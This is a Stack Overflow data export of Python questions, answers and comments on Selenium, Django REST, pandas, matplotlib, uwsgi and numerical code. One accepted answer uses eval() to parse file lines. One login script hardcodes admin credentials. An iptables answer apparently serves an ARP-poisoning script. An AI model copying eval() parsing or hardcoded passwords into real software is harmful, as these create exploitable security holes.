has body: You need to implement another method. Something like def _find_all(self, locator): return self.driver.find_elements(locator["by"], locator["value"]) that intend to return you list of elements instead of single element... With this method you can try to get list of links self.links = self._find_all({"by": By.CSS_SELECTOR, "value": "tbody &gt; tr &gt; td:nth-child(2) &gt; span &gt; a"}) and loop through it with this for link in self.links: link.click() or add new method to click each element in list: def _click_all(self, locator): [element.click() for element in self._find_all(locator)] and call it as self._click_all({"by": By.CSS_SELECTOR, "value": "tbody &gt; tr &gt; td:nth-child(2) &gt; span &gt; a"}) Note that to get list of links for each table row you should remove tr index from you selector: tr:nth-child(2) &gt; td:nth-child(2) --&gt; tr &gt; td:nth-child(2)
upvote count: 1
has comment: http://stackoverflow.com/comment/84414241
has comment: http://stackoverflow.com/comment/84422080
has comment: http://stackoverflow.com/comment/84415741
accepted answer of: http://stackoverflow.com/q/48703600
has comment: http://stackoverflow.com/comment/84416387
answers question: http://stackoverflow.com/q/48703600
has comment: http://stackoverflow.com/comment/84414725
has comment: http://stackoverflow.com/comment/84422453
type: Answer
has comment: http://stackoverflow.com/comment/84424103

http://stackoverflow.com/a/48911584
type: Answer
has body: Sorry for late response, Shubham. I think, the problem is that you shouldn't be using {'get': 'Tool'} in: urlpatterns = [ url(r'Tool', ToolApi.as_view({'get': 'Tool'})), ] Instead you should use something like: urlpatterns = [ url(r'Tool', ToolApi.as_view({'get': 'list'})), ] or urlpatterns = [ url(r'Tool', ToolApi.as_view({'get': 'retrieve'})), ] As for the example repo, I'm afraid, I can't offer anything better than: https://github.com/BurkovBA/django-rest-framework-mongoengine-example/stargazers.
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/48730845
downvote count: 0

microsoft-graph-api
tags question: http://stackoverflow.com/q/48676871
tags question: http://stackoverflow.com/q/48682476
type: Tag
tags question: http://stackoverflow.com/q/48720766
tag name: microsoft-graph-api

http://stackoverflow.com/q/48681792
has comment: http://stackoverflow.com/comment/84360671
score: -1
has answer: http://stackoverflow.com/a/48681890
has title: TypeError: 'str' object is not callable python 3
has answer: http://stackoverflow.com/a/48681979
has comment: http://stackoverflow.com/comment/84360713
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84360714
downvote count: 1
type: Question
has body: I'm completely baffled as to the reason why my code is giving me this error after trying to login into my code. I have a database with a table and I cannot seem to get rid of this annoying error. TypeError: 'str' object is not callable import sqlite3 import sys import time import random conn = sqlite3.connect('tutoral.db') c = conn.cursor() def create_table(): c.execute("CREATE TABLE IF NOT EXISTS Logins(firstname TEXT, lastname TEXT, age REAL, username BLOB, password BLOB, gender TEXT, yeargroup REAL)") # Get login details from user def login(): print("&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;Welcome&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;") user = input('Username:') passw = '%%%s%%' % input('Password:') if user == "Charles" and passw =="123123": print("Logging in...") time.sleep(3) print ("ACCESS GRANTED") time.sleep(1) print('') print (" &lt;&lt;Welcome Admin&gt;&gt;") elif user != "Charles" and passw !="123123": c.execute('SELECT * FROM Logins WHERE password=? AND username=?'(passw,user)) if c.fetchall(): print('Welcome') else: print('Login failed')
answer count: 2
upvote count: 0

http://stackoverflow.com/a/48736808
has comment: http://stackoverflow.com/comment/84473232
type: AcceptedAnswer
downvote count: 0
has body: Context manager support for the gzip module is issue 3860. It was fixed in Python 3.1 alpha 1 (in the 3.x line) and 2.7 alpha 1 (in the 2.x line). It's still open in 2.6.6, which you're using here. Of course, you can work around this by just not using context-manager syntax: import sys, gzip logfile = gzip.open(sys.argv[1], 'rb').read()
type: Answer
has comment: http://stackoverflow.com/comment/84473298
accepted answer of: http://stackoverflow.com/q/48736692
answers question: http://stackoverflow.com/q/48736692
score: 5
upvote count: 5

http://stackoverflow.com/q/48788447
tagged with: python
tagged with: dictionary
answer count: 4
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/48788781
downvote count: 0
accepted answer: http://stackoverflow.com/a/48788496
has answer: http://stackoverflow.com/a/48788580
type: Question
has answer: http://stackoverflow.com/a/48788496
has body: I have list of lists and would like to create data frame with count of all unique elements. Here is my test data: test = [["P1", "P1", "P1", "P2", "P2", "P1", "P1", "P3"], ["P1", "P1", "P1"], ["P1", "P1", "P1", "P2"], ["P4"], ["P1", "P4", "P2"], ["P1", "P1", "P1"]] I can do something like this using Counter with for loop as: from collections import Counter for item in test: print(Counter(item)) But how can I have result of this loop summed up into new data frame ? Expected output as data frame: P1 P2 P3 P4 15 4 1 2
upvote count: 6
tagged with: pandas
favorite count: 0
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/48788543
has title: Calculate count of all the elements in nested list
score: 6
has answer: http://stackoverflow.com/a/48788543

http://stackoverflow.com/a/48712001
accepted answer of: http://stackoverflow.com/q/48699603
upvote count: 3
type: AcceptedAnswer
type: Answer
has body: Writing label = QLabel('Python', self) is equivalent to label = QLabel('Python', parent=self). When you specify a parent, a reference to label gets stored in parent implicitly and the reference count for label is incremented. If you are unfamiliar with reference counting - a variable will only be removed by the garbage collector when its reference count has been reduced to 0. So in your example label doesn't actually get deleted (if you had instead written label = QLabel('Python') your claim would hold). Similarly, when you write self.label = QLabel('python', self) you are instructing python to store a reference in self and incrementing the reference count once again. In both cases, by storing a reference to label inside another object that exists outside of the scope in which label is created, you enable to label to persist for the lifetime of that object. As for which to use, they are both correct, but you may choose one or the other depending on what you are trying to do. For simple things like static labels the second method provides no benefits and increases the amount of typing you have to do. However for more complex applications storing a reference in self gives you an easy way to access the object from elsewhere in the code.
downvote count: 0
answers question: http://stackoverflow.com/q/48699603
score: 3

http://stackoverflow.com/a/48652386
type: Answer
answers question: http://stackoverflow.com/q/48649353
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
has body: Thanks for the comments, yes I am aware of using JSON and pickle, but I was more interested having a .txt file. I worked around my problem and found the solution as below: First I define a MyEncoder class as: class MyEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, np.integer): return int(obj) elif isinstance(obj, np.floating): return float(obj) elif isinstance(obj, np.ndarray): return obj.tolist() else: return super(MyEncoder, self).default(obj) As my keys are strings and my values are arrays, before writing the key-value pairs I dump the values as dict_imageData [key] = json.dumps(np.float32(np.array(values)), cls = MyEncoder) Now, I write the dictionary to the file as with open('dict_imageData.txt', 'a') as file: file.write(json.dumps(dict_imageData)) file.write("\n") For reading back the dictionary from the .txt file one I use eval with open('dict_imageData.txt','r') as inf: lineno = 0 for line in inf: lineno = lineno + 1 print("line number in the file: ", lineno) dicts_from_file = dict() dicts_from_file = (eval(line)) for key,value in dicts_from_file.items(): print("key: ", key, "value: ", value)
accepted answer of: http://stackoverflow.com/q/48649353

http://stackoverflow.com/a/48651233
has body: Use a list like this: results = list() for i in range(len(z)): if z[i] &gt; sd: result = 1 results.append(result) else: result = 0 print(results)
answers question: http://stackoverflow.com/q/48651193
has comment: http://stackoverflow.com/comment/84300580
score: 0
type: Answer

http://stackoverflow.com/comment/84465530
has text: This sounds very much like an [XY Problem](https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem). *Why* do you want to do these things? Yours is perhaps not a good approach to the underlying problem you are attempting to solve.
score: 1
comment on: http://stackoverflow.com/q/48733200
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84599920
score: 1
type: AnswerComment
has text: Still doesn't match the output of the original. Your last two lines: `[ 9 10 10 10 10]; [10 10 10 10 10]` VS Original last two lines: `[10, 10, 10, 10, 9]; [10, 10, 10, 10, 10]`. If you just run the original code you will see that the pattern does not match the output of `combinations_with_replacement`.
type: Comment
comment on: http://stackoverflow.com/a/48798570

http://stackoverflow.com/a/48862679
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: I finally got the solution which is I have defined new function where i get the required clusters within range def get_clusters(linkage_matrix, min_th, max_th): while (True): print("----------------\n") th = min_th + (max_th - min_th) / 2 clusters = sch.fcluster(linkage_matrix, th, 'distance') if max(clusters) &gt;= 30 and max(clusters) &lt;= 50: print("Clusters found: %d" % max(clusters)) return clusters elif max(clusters) &gt; 50: min_th = th print("Clusters found: %d" % max(clusters)) continue elif max(clusters) &lt; 30: max_th = th print("Clusters found: %d" % max(clusters)) continue
accepted answer of: http://stackoverflow.com/q/48803598
answers question: http://stackoverflow.com/q/48803598
type: Answer
score: 1

http://stackoverflow.com/comment/84418262
type: Comment
comment on: http://stackoverflow.com/q/48696000
score: 0
type: QuestionComment
has text: Hi Josh, Yes, that's what I am looking for, I can import the jar in my PyDev project , any pointers to functions they expose would help as well . Thanks in advance

http://stackoverflow.com/comment/84509650
has text: Indeed, as are all decisions to override any method and combine with inheritance in oo languages.
type: Comment
comment on: http://stackoverflow.com/a/48754029
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84302083
comment on: http://stackoverflow.com/q/48650713
score: 2
type: Comment
type: QuestionComment
has text: Possible duplicate of [Understanding Python's slice notation](https://stackoverflow.com/questions/509211/understanding-pythons-slice-notation)

http://stackoverflow.com/q/48762887
downvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48763321
upvote count: 6
has answer: http://stackoverflow.com/a/48766802
has comment: http://stackoverflow.com/comment/84527120
has answer: http://stackoverflow.com/a/48763718
favorite count: 0
tagged with: tuples
has body: I want to write a Rem(a, b) which return a new tuple that is like a, with the first appearance of element b is removed. For example Rem((0, 1, 9, 1, 4), 1) which will return (0, 9, 1, 4). I am only allowed to use higher order functions such as lambda, filter, map, and reduce. I am thinking about to use filter but this will delete all of the match elements def myRem(T, E): return tuple(filter(lambda x: (x!=E), T)) myRem((0, 1, 9, 1, 4), 1) I will have (0,9,4)
has title: python tuple remove the first match appearance using only higher order functions
has comment: http://stackoverflow.com/comment/84526772
answer count: 5
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84528191
has answer: http://stackoverflow.com/a/48763369
has comment: http://stackoverflow.com/comment/84527007
score: 3
has comment: http://stackoverflow.com/comment/84527182
has answer: http://stackoverflow.com/a/48763630

http://stackoverflow.com/q/48663239
has body: Whenever I try to install any software on my ubuntu syatem, I am prompted with 'Unmet dependencies' error and is being suggested to do apt install -f. I tried below command and n number of other ways to solve this, but can't find solution to install any software. Ubuntu version is 14.04 sudo apt-get install -f Reading package lists... Done Building dependency tree Reading state information... Done Correcting dependencies... Done The following extra packages will be installed: aptitude aptitude-common libboost-iostreams1.54.0 libcwidget3 libept1.4.12 libpython-stdlib python Suggested packages: aptitude-doc-en aptitude-doc tasksel debtags libcwidget-dev python-doc The following packages will be REMOVED: aptitude:i386 The following NEW packages will be installed: aptitude aptitude-common libboost-iostreams1.54.0 libcwidget3 libept1.4.12 The following packages will be upgraded: libpython-stdlib python 2 upgraded, 5 newly installed, 1 to remove and 63 not upgraded. 3 not fully installed or removed. Need to get 1,678 kB/2,724 kB of archives. After this operation, 3,544 kB of additional disk space will be used. Do you want to continue? [Y/n] Y Get:1 http://in.archive.ubuntu.com/ubuntu/ trusty/main libcwidget3 amd64 0.5.16-3.5ubuntu1 [307 kB] Get:2 http://in.archive.ubuntu.com/ubuntu/ trusty/main aptitude amd64 0.6.8.2-1ubuntu4 [1,371 kB] Fetched 1,678 kB in 4s (414 kB/s) (Reading database ... 233444 files and directories currently installed.) Removing aptitude (0.6.6-1ubuntu1) ... Processing triggers for man-db (2.6.7.1-1ubuntu1) ... Selecting previously unselected package aptitude-common. (Reading database ... 233333 files and directories currently installed.) Preparing to unpack .../aptitude-common_0.6.8.2-1ubuntu4_all.deb ... Unpacking aptitude-common (0.6.8.2-1ubuntu4) ... Selecting previously unselected package libboost-iostreams1.54.0:amd64. Preparing to unpack .../libboost-iostreams1.54.0_1.54.0-4ubuntu3.1_amd64.deb ... Unpacking libboost-iostreams1.54.0:amd64 (1.54…
tagged with: python
score: 2
tagged with: installation
answer count: 0
type: Question
has title: Unable to install any package due to unmet dependencies of python-minimal
tagged with: ubuntu-14.04
downvote count: 0
tagged with: dependencies
favorite count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/q/48737278
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/84479367
accepted answer: http://stackoverflow.com/a/48779710
downvote count: 0
has body: the problem is basemap/matplotlib plots a given text always on the lower left corner... i tried many ways but that doesnt work: # Set up plot fig, ax = plt.subplots(figsize=(15,15)) m1 = Basemap(projection='merc', llcrnrlat=8.3, urcrnrlat=53.9, llcrnrlon=94.0, urcrnrlon=147.6, lat_ts=0, resolution='c') m1.fillcontinents(color='#191919',lake_color='#000000') # dark grey land, black lakes m1.drawmapboundary(fill_color='#000000') # black background m1.drawcountries(linewidth=0.1, color="w") # thin white line for country borders m1.drawstates(linewidth=0.1, color="w") # Plot the data mxy = m1(new_results["Longitude"].tolist(), new_results["Latitude"].tolist()) m1.scatter(mxy[0], mxy[1], s=300,c=np.divide(new_results["SumVolume"],100000000), lw=0, alpha=1, zorder=5,cmap='Reds') ax.annotate("blablabla", (121.597366,25.105497),color='green') #colorbar plt.colorbar(label=r'24H Trading-Volume in MillionK$') plt.clim(1, 21) plt.title("Cryptocurrency capital movement - Asia") The Plot: Whats the problem? ax.annotate("blablabla", (121.597366,25.105497),color='green') doesnt work like i want. the coordinates (121.597366,25.105497) is one point on the map. By the way, it does not matter which X, Y. He always writes it in the bottom left corner
has title: Python Basemap plots text or annotate at lower left only
tagged with: pandas
answer count: 1
tagged with: matplotlib-basemap
favorite count: 0
has comment: http://stackoverflow.com/comment/84552234
tagged with: python
has answer: http://stackoverflow.com/a/48779710

http://stackoverflow.com/comment/84293916
comment on: http://stackoverflow.com/q/48648011
score: 0
type: QuestionComment
has text: Right. But there is no `http://ifoundatypicalfl.aw`, there only is a `http://idownvotedbecau.se` ;-)
type: Comment

http://stackoverflow.com/a/48767057
has comment: http://stackoverflow.com/comment/84545667
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48759663
has body: Keras has the LearningRateScheduler callback which you can use to change the learning rate during training. But what you want sounds more like you need to get some information about the current loss value and/or the gradients, and for that you probably want to write an optimizer instead.
downvote count: 0
has comment: http://stackoverflow.com/comment/85269076

http://stackoverflow.com/q/48767975
has body: I wrote a very simple flask web service that simply returns text hey23 upon being hit and hosted on AWS EC2 t2.micro machine (1GB RAM 1CPU) To execute this python application I used uwsgi as my app server. Finally I've put my complete setup behind Nginx. So my stack is Flask+uwsgi+Nginx Everything is working fine and good. I only have complaint with the execution time. The average latency measured using wrk is ~370ms, which is too much considering the amount of work this service is doing. Running 30s test @ http://XX.XXX.XX.XX/printtest 12 threads and 400 connections Thread Stats Avg Stdev Max +/- Stdev Latency 370.98ms 178.90ms 1.96s 91.78% Req/Sec 93.72 36.72 270.00 69.55% 33124 requests in 30.11s, 5.41MB read Socket errors: connect 0, read 0, write 0, timeout 15 Non-2xx or 3xx responses: 1173 Requests/sec: 1100.26 Transfer/sec: 184.14KB hello-test.py from flask import Flask, jsonify, request app = Flask(__name__) @app.route("/print23") def helloprint(): return "hey23" if __name__ == "__main__": app.run(host='0.0.0.0', port=8080, threaded=True) uwsgi.ini [uwsgi] #application's base folder base = /var/www/demoapp master = true #python module to import app = hello-test module = %(app) home = %(base)/venv pythonpath = %(base) #socket file's location socket = /var/www/demoapp/%n.sock #permissions for the socket file chmod-socket = 644 #the variable that holds a flask application inside the module imported at line #6 callable = app disable-logging = True #location of log files logto = /var/log/uwsgi/%n.log max-worker-lifetime = 30 processes = 10 threads = 2 enable-threads = True cheaper = 2 cheaper-initial = 5 cheaper-step = 1 cheaper-algo = spare cheaper-overload = 5 Even if i forget about wrk benchmark, even with posting GET requests from my POSTMAN client, I am getting similar latency. What is wrong here? No matter what, some takeaways Code cannot be optimised. It just has to return hey23 string. Nothing can be wrong with Nginx. I certainly assume ~370ms is not a go…
has comment: http://stackoverflow.com/comment/84536945
has comment: http://stackoverflow.com/comment/84536740
has comment: http://stackoverflow.com/comment/84537048
score: 0
tagged with: api
has comment: http://stackoverflow.com/comment/84536568
answer count: 0
type: UnansweredQuestion
tagged with: python
tagged with: web-services
has comment: http://stackoverflow.com/comment/84537576
has title: Very high latency on simple GET requests
tagged with: uwsgi
type: Question
tagged with: nginx
has comment: http://stackoverflow.com/comment/84537368

http://stackoverflow.com/comment/84583406
type: Comment
comment on: http://stackoverflow.com/q/48790099
has text: Is it? I do not know that. Can you point docs or changelog saying so?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84703302
score: 0
type: Comment
has text: That's why I have upvoted your answer. For the moment, I don't want to accept it, since it may discourage other users to come out with a more general answer. Sorry, and thanks again!
comment on: http://stackoverflow.com/a/48719668
type: AnswerComment

http://stackoverflow.com/comment/84502589
comment on: http://stackoverflow.com/a/48750944
score: 0
type: AnswerComment
type: Comment
has text: This looks right. I'd misunderstood these docs (would could also be more clear). Thanks.

http://stackoverflow.com/comment/84600905
type: AnswerComment
has text: @Jean-MichelRicher Your comment is not fully clear. If you are using SVR (which is a *regression* model), then the prediction outputs will not make sense... they will be floating point values along a continuum, and will not represent class labels. Are you quantizing them by rounding or something? Separately, can you post the SVC (*not* SVR) code in your question, exactly as you are using it, so we can reproduce the incorrect examples?
type: Comment
comment on: http://stackoverflow.com/a/48772627
score: 0

http://stackoverflow.com/a/48710763
type: Answer
has body: Reinstalling with pip install --no-binary psycopg2 psycopg2 solved problem
answers question: http://stackoverflow.com/q/48710094
score: 0

http://stackoverflow.com/q/48775206
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84552313
type: Question
score: 0
answer count: 1
favorite count: 0
has body: Using Python 3 I am trying to pull the total count for each group: 1 - control and convert 2 - treatment and convert control = df2[df2.group == 'control'] treatment = df2[df2.group == 'treatment'] old = df2[df2.landing_page == 'old'] new = df2[df2.landing_page == 'convert'] I've tried a couple different things: control.user_id.count() + convert.user_id.count() But this just adds both groups up. I also tried a groupby but I can't get the syntax to work. df2.groupby(df2[df2.group =='control', 'old']).landing_page().reset_index(name='Count') What is the best way to pull a group given the presence in another group?
has comment: http://stackoverflow.com/comment/84552303
tagged with: python
has title: Finding a variable count given another variable in Python
has comment: http://stackoverflow.com/comment/84552380
has comment: http://stackoverflow.com/comment/84552108
has answer: http://stackoverflow.com/a/48775650

http://stackoverflow.com/comment/84586539
type: Comment
has text: thx @dan. so then, render does not do a complete re-draw. then how would i provide updates to the values?
comment on: http://stackoverflow.com/a/48791810
score: 0
type: AnswerComment

http://stackoverflow.com/q/48685529
upvote count: 1
tagged with: unwrap
has answer: http://stackoverflow.com/a/48716486
type: Question
has body: I have converted a UV vector coordinates into 3D plane using Blender's Bmesh function. Using bmesh to create the newer mesh, bm.faces.new((vert)) it creates faces that is undesirable, or more accurately, the edges and faces that are generated by the function are not as intended. Is there a way to allow no generation of edges that are more than the maximum connected distance of a mesh using bmesh? This picture shows generation of both edges and faces on the left marked out in green, comparing with the seam that I have marked for UV unwrapping.
tagged with: blender
tagged with: 3d
accepted answer: http://stackoverflow.com/a/48716486
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python
type: AnsweredQuestion
has title: Converting Blender's UV vectors into 3D coordinates
tagged with: mesh
score: 1

http://stackoverflow.com/a/48745831
answers question: http://stackoverflow.com/q/48736838
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48736838
type: AcceptedAnswer
downvote count: 0
has body: It turns out that py::vectorize() doesn't (yet?) support functions that return a np::array. See https://github.com/pybind/pybind11/issues/763.
type: Answer

http://stackoverflow.com/a/48768243
has body: You should specify which queue you are using for the input and for the established connection. For example, queue 0, with 192.168.0.2 as your gateway (assuming you are the gateway and the one that does the masquerade): iptables -I INPUT -s 192.168.0.2 -p tcp --dport 6767 -j NFQUEUE --queue-num 0 iptables -I OUTPUT -d 192.168.0.2 -p tcp --sport 6767 -m conntrack --ctstate RELATED,ESTABLISHED -j NFQUEUE --queue-num 0 And please fix your code, seems like some code from the "main" has slipped into "poison_target"
answers question: http://stackoverflow.com/q/48737953
score: 0
type: Answer

http://stackoverflow.com/q/48715594
upvote count: 7
tagged with: scipy
type: Question
possible better answer: http://stackoverflow.com/a/48732339
score: 7
tagged with: numpy
answer count: 2
tagged with: matrix
tagged with: arrays
downvote count: 0
has answer: http://stackoverflow.com/a/48715684
has title: Why is my prof's version of LU decomposition faster than mine? Python numpy
favorite count: 0
accepted answer: http://stackoverflow.com/a/48715684
tagged with: python
type: AnsweredQuestion
has body: I am attending a course in Numerical Analysis at my university. We are studying LU decomposition. I tried implementing my version before looking at my lecturer's. I thought mine was pretty fast, but actually comparing them, my lecturer's version is much faster even though it uses loops! Why is that? Lecturer Version def LU_decomposition(A): """Perform LU decomposition using the Doolittle factorisation.""" L = np.zeros_like(A) U = np.zeros_like(A) N = np.size(A, 0) for k in range(N): L[k, k] = 1 U[k, k] = (A[k, k] - np.dot(L[k, :k], U[:k, k])) / L[k, k] for j in range(k+1, N): U[k, j] = (A[k, j] - np.dot(L[k, :k], U[:k, j])) / L[k, k] for i in range(k+1, N): L[i, k] = (A[i, k] - np.dot(L[i, :k], U[:k, k])) / U[k, k] return L, U My Version def lu(A, non_zero = 1): ''' Given a matrix A, factorizes it into two matrices L and U, where L is lower triangular and U is upper triangular. This method implements Doolittle's method which sets l_ii = 1, i.e. L is a unit triangular matrix. :param A: Matrix to be factorized. NxN :type A: numpy.array :param non_zero: Value to which l_ii is assigned to. Must be non_zero. :type non_zero: non-zero float. :return: (L, U) ''' # Check if the matrix is square if A.shape[0] != A.shape[1]: return 'Input argument is not a square matrix.' # Store the size of the matrix n = A.shape[0] # Instantiate two zero matrices NxN (L, U) L = np.zeros((n,n), dtype = float) U = np.zeros((n,n), dtype = float) # Start algorithm for k in range(n): # Specify non-zero value for l_kk (Doolittle's) L[k, k] = non_zero # Case k = 0 is trivial if k == 0: # Complete first row of U U[0, :] = A[0, :] / L[0, 0] # Complete first column of L L[:, 0] = A[:, 0] / U[0, 0] # Case k = n-1 is trivial elif k == n-1: # Obtain u_nn U[-1, -1] = (A[-1, -1] - np.dot(L[-1, :], U[:, -1])) / L[-1, -1] else: # Obtain u_kk U[k, k] = (A[k, k] - np.dot(L[k, :], U[:, k])) / L[k, k] # Complete kth row of U U[k, k+1:] = (A[k, k+1:] - [np.dot(L[k, :], U[:, i]) for i in \ range(k+1, n)]) / L[k, k…
has answer: http://stackoverflow.com/a/48732339

http://stackoverflow.com/q/48681796
has body: I'm using Matplotlib to plot some simple figure. An exmaple is illustrated like follows: x = np.linspace(0, 5, 1000) fig =plt.figure(figsize=(7,7)) ax =plt.subplot(211) ax.plot(x, np.sin(x), '-b', label='Sine') ax.axis('equal') leg1 = ax.legend(loc= (0.8,0.85)); leg2 = ax.legend(loc= (0.8,-0.15)); leg2.set_zorder(14) ax.add_artist(leg1) ax.add_artist(leg2) ax =plt.subplot(212) I want to keep the upper and lower subplot both have the same legend as the subplot 1. However, when I turn down the leg2 in order to within the second subplot, it is covered by the canvas. Here is my question, Is there any method to duplicate the legend of one subplot to another subplot?
type: AnsweredQuestion
upvote count: 1
has title: How to duplicate the legend of one subplot into another subplot in matplotlib
type: Question
tagged with: matplotlib
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48682289
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48682289
tagged with: python

http://stackoverflow.com/q/48683076
has body: if not ordero or not orderf: OR if(ordero=='' or orderf==''): How can I test that? I know that the right one is the first option. But how to check that the first performance will work faster?
score: -6
has answer: http://stackoverflow.com/a/48683219
favorite count: 0
tagged with: python-3.x
has title: What is faster in terms of saving PC resources?
type: UnansweredQuestion
tagged with: python
downvote count: 6
type: Question
has answer: http://stackoverflow.com/a/48683562
answer count: 2
upvote count: 0

http://stackoverflow.com/comment/84414251
has text: the thing is I don't always have indexes which makes my problem a bit harder :/
comment on: http://stackoverflow.com/a/48704985
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/85008750
type: AnswerComment
comment on: http://stackoverflow.com/a/48791147
type: Comment
has text: Hi again, we use Flask 0.12, but I've finally found the problem. The problem is in language processing. When parameter `<lang>` is in URL, it's catched, stored, cutted off from URL and the system is redirected without `<lang>` parameter (I don't like it, but it is like it is). So when I add another route params as it is usual in Flask, it's possible to get it as parameter in view method. Now, I don't know if I should someway delete my question or something? Could you please give me some instructions what to do with my "wrong" question? Thank you all :-)
score: 0

http://stackoverflow.com/comment/92235792
comment on: http://stackoverflow.com/a/48677116
type: Comment
has text: I have the impression that the format of `keras.layers.Embedding` with `weights` is deprecated if you check this (https://keras.io/layers/embeddings/) and this (https://github.com/tensorflow/tensorflow/issues/14392)
type: AnswerComment
score: 0

http://stackoverflow.com/a/48709800
has body: Here is one way. I sort in advance so that it's only necessary to get the first item via a generator. df['date'] = pd.to_datetime(df['date_of_field_update']).dt.normalize() df = df.sort_values(['id', 'date_of_field_update']) def get_opp_status(df, myid, mydate): return next(k for i, j, k in zip(df['id'], df['date'], df['current_status']) if j &lt; mydate and i == myid) get_opp_status(df, 226, pd.to_datetime('2017-12-10')) # Proposal
score: 0
answers question: http://stackoverflow.com/q/48709718
type: Answer
has comment: http://stackoverflow.com/comment/84418832

http://stackoverflow.com/q/48707926
has comment: http://stackoverflow.com/comment/84414604
has comment: http://stackoverflow.com/comment/84414558
upvote count: 1
has answer: http://stackoverflow.com/a/48708095
accepted answer: http://stackoverflow.com/a/48708095
favorite count: 0
tagged with: python-3.x
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84414812
type: AnsweredQuestion
has body: So i'm trying to add 2 values as a list (1 element) per key in a dictionary, my items look like this in my file : ['48', '0', 2550, 1651] ['33', '9', 5400, 3601] where the first 2 elements combined are the key for example 48-0 is the key. my code: def dictionary(path_to_file): str_map = str.maketrans("", "", " []'\n") data = [] with open(path_to_file, "r") as file: for line in file: line = line.translate(str_map) line = line.split(",") data.append(line) dict = defaultdict(list) for row in data: dict["-".join(row[:2])].append(row[2:]) for x in list(dict.keys()): if dict[x] == []: del dict[x] return dict part of my output : defaultdict(&lt;class 'list'&gt;, {'[1-0': [['5400', '3601]']], "[1-0/[['5400', '3601]']]": [], '[1-1': [['2550', '1651]']], "[1-1/[['2550', '1651]']]": [], the issue happens as can be seen when that i'm having the same key twice in a row '[1-0': [['5400', '3601]']], then "[1-0/[['5400', '3601]']]": [], what is the issue in my code causing this
score: -1
has title: What is the issue in my code causing a flawed dictionary?
type: Question
answer count: 2
downvote count: 2
possible better answer: http://stackoverflow.com/a/48708113
has comment: http://stackoverflow.com/comment/84414957
has answer: http://stackoverflow.com/a/48708113

http://stackoverflow.com/comment/84384842
has text: one moment, I had a look at the content you are trying to scrape and I think I understand the problem you are facing. There is a complicated table structure. I would like to show you have you can create a simple dict into a pandas dataframe from a table.. one moment
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48692345
score: 0

http
tags question: http://stackoverflow.com/q/48719893
tags question: http://stackoverflow.com/q/48685070
tags question: http://stackoverflow.com/q/48752594
tag name: http
tags question: http://stackoverflow.com/q/48687573
tags question: http://stackoverflow.com/q/48796344
tags question: http://stackoverflow.com/q/48652721
tags question: http://stackoverflow.com/q/48779273
tags question: http://stackoverflow.com/q/48786875
type: Tag
tags question: http://stackoverflow.com/q/48698110
tags question: http://stackoverflow.com/q/48776768
tags question: http://stackoverflow.com/q/48710871
tags question: http://stackoverflow.com/q/48702061
tags question: http://stackoverflow.com/q/48803223

http://stackoverflow.com/q/48789985
has answer: http://stackoverflow.com/a/48790151
has body: I have a dataset which is a huge, short and fat matrix (~4000 x 20,000,000). I am thinking dask might be a good solution for me. However, I want to make sure I can encode it to a one-hot matrix. I looked at the options in dask-ml and they seem to always need a dask dataframe. However, it seems really odd and possible like it would cause a lot of overhead to create a dataframe with 20 million columns. Is it easier just to use a dask array and somehow use apply on axis to convert each column to 1-hot? Thanks for any suggestions.
downvote count: 0
answer count: 1
favorite count: 0
tagged with: dask
upvote count: 2
type: UnansweredQuestion
has title: when to use dark array vs dask dataframe in one-hot-encoding ML workloads
tagged with: python
score: 2
type: Question

http://stackoverflow.com/comment/84407680
has text: You are welcome! I was a bit confused, because expected output was different ;)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48701592
type: Comment

http://stackoverflow.com/q/48739521
has comment: http://stackoverflow.com/comment/84478753
has body: I installed Spyder using Anaconda, and I am able to launch the IDE using the Spyder icon in my start menu (Win10). I wanted to set my preferences to open all .py files with Spyder, so I followed the Spyder start menu button to an executable, pythonw.exe. The problem is that I cannot launch pythonw.exe by clicking it. How does the start menu icon for Spyder, which points to pythonw.exe, launch Spyder, but clicking the executable does not yield the same results? Also, when I double click spyder.exe in Anaconda\Scripts a command prompt opens along with the IDE, which does not happen when I click the start menu icon. Why does this application behave so much differently than any other application I've used before (if this is just how things are in python, I apologize as I'm new!) and is it possible to set Spyder as the default application to open .py files in the same way I can open source files with IDEs in other languages? Cheers
accepted answer: http://stackoverflow.com/a/48739754
tagged with: spyder
has title: How do I make all .py files launch with Spyder?
possible better answer: http://stackoverflow.com/a/75419856
favorite count: 0
has answer: http://stackoverflow.com/a/75419856
score: 4
has answer: http://stackoverflow.com/a/53434848
has comment: http://stackoverflow.com/comment/84480233
linked to: http://stackoverflow.com/q/24643474
downvote count: 2
tagged with: python
has answer: http://stackoverflow.com/a/56172407
upvote count: 6
has answer: http://stackoverflow.com/a/72713574
type: AnsweredQuestion
tagged with: anaconda
has answer: http://stackoverflow.com/a/63882538
has answer: http://stackoverflow.com/a/48739754
type: Question
answer count: 6

http://stackoverflow.com/a/48861890
